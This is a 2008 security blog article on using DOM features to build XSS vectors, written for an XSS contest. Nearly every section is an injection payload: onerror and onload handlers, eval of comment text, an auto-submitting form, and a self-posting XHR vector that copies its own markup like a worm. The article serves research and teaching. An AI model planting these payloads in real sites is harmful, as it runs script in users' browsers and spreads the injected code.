DOM for hackers

Back to articles

hackvertor

Author:

Gareth Heyes

@hackvertor

Published: Wed, 09 Jan 2008 11:25:33 GMT

Updated: Sat, 22 Mar 2025 15:38:08 GMT

It's amazing the stuff I've been finding recently, my browser has crashed more times than windoze. In this article I'll introduce you to using the DOM for unexpected things and hacking it to your advantage. I've learned all this new stuff while hacking a vectors for the slackers XSS contest which is really fun.

Contents of a script tag

You can get the contents of a script tag within DOM like this:-

<pre lang="html"> &lt;script id=&quot;x&quot;&gt;alert(document.getElementById('x'). childNodes.item(0).nodeValue)&lt;/script&gt; </pre>

Replacing tags

It's quite easy to replace one tag with another in ways the browser didn't expect, check the following example:-

<pre lang="html"> &lt;form&gt;&lt;iframe onload=&quot;parentNode.innerHTML=(s=parentNode.innerHTML) .replace(/iframe/g,'input'),value=s&quot; name=&quot;content&quot;&gt;&lt;/iframe&gt; </pre>

Posting forms

There are lots of shortcuts for posting forms with dom, here I show how to use a image tag to automatically create a form and post content.

<pre lang="html"> &lt;img src=&quot;&quot; onerror=&quot;with(appendChild(createElement('form'))) submit(i=createElement('input'),i.name='content',i.value='1', appendChild(i),action='post.php',method='post')&quot;&gt; </pre>

Comment hacking

You can also get the contents of comments in DOM like this:-

<pre lang="html">&lt;!-- test --&gt;&lt;img src=&quot;&quot; onerror=&quot;alert(previousSibling.nodeValue)&quot;&gt;</pre>

Even evaluate the resulting string:-

<pre lang="html">&lt;!-- alert('Hello') --&gt;&lt;img src=&quot;&quot; onerror=&quot;eval(previousSibling.nodeValue)&quot;&gt;</pre>

Entity hacking

You can also do the same with entities :)

<pre lang="html">&amp;Hello&lt;img src=&quot;&quot; onerror=&quot;alert(previousSibling.nodeValue.replace('&amp;',''))&quot;&gt;</pre>

and even this:-

<pre lang="html">&amp;iframe onload=alert(1)&gt;&lt;img src=&quot;&quot; onerror=&quot;innerHTML=previousSibling.nodeValue.replace('&amp;','&lt;')&quot;&gt;</pre>

Self referencing code

You can get the contents of a attribute and create a self referencing tag that requires no parent:-

<pre lang="html"> &lt;img src=&quot;&quot; onerror=&quot;alert('XSS');with(new XMLHttpRequest)open('POST','post.php'), send('content='&lt;img src=%22%22 onerror=%22'+attributes[0].nodeValue+'%22&gt;')&quot;&gt; </pre>

This example uses a XHR object to perform a post, the XHR portion of this vector was constructed by a lot of cool people on the slackers XSS contest.

Here's another example that I discovered:-

<pre lang="html"> &lt;img src=&quot;&quot; onerror=&quot;appendChild(cloneNode(0));alert(innerHTML)&quot;&gt; </pre>

DOM recursion

Finally it's also possible to make a tag clone itself onto itself:-

<pre lang="html"> &lt;img src=&quot;&quot; onerror=&quot;appendChild(cloneNode(1))&quot;&gt; </pre>

Back to articles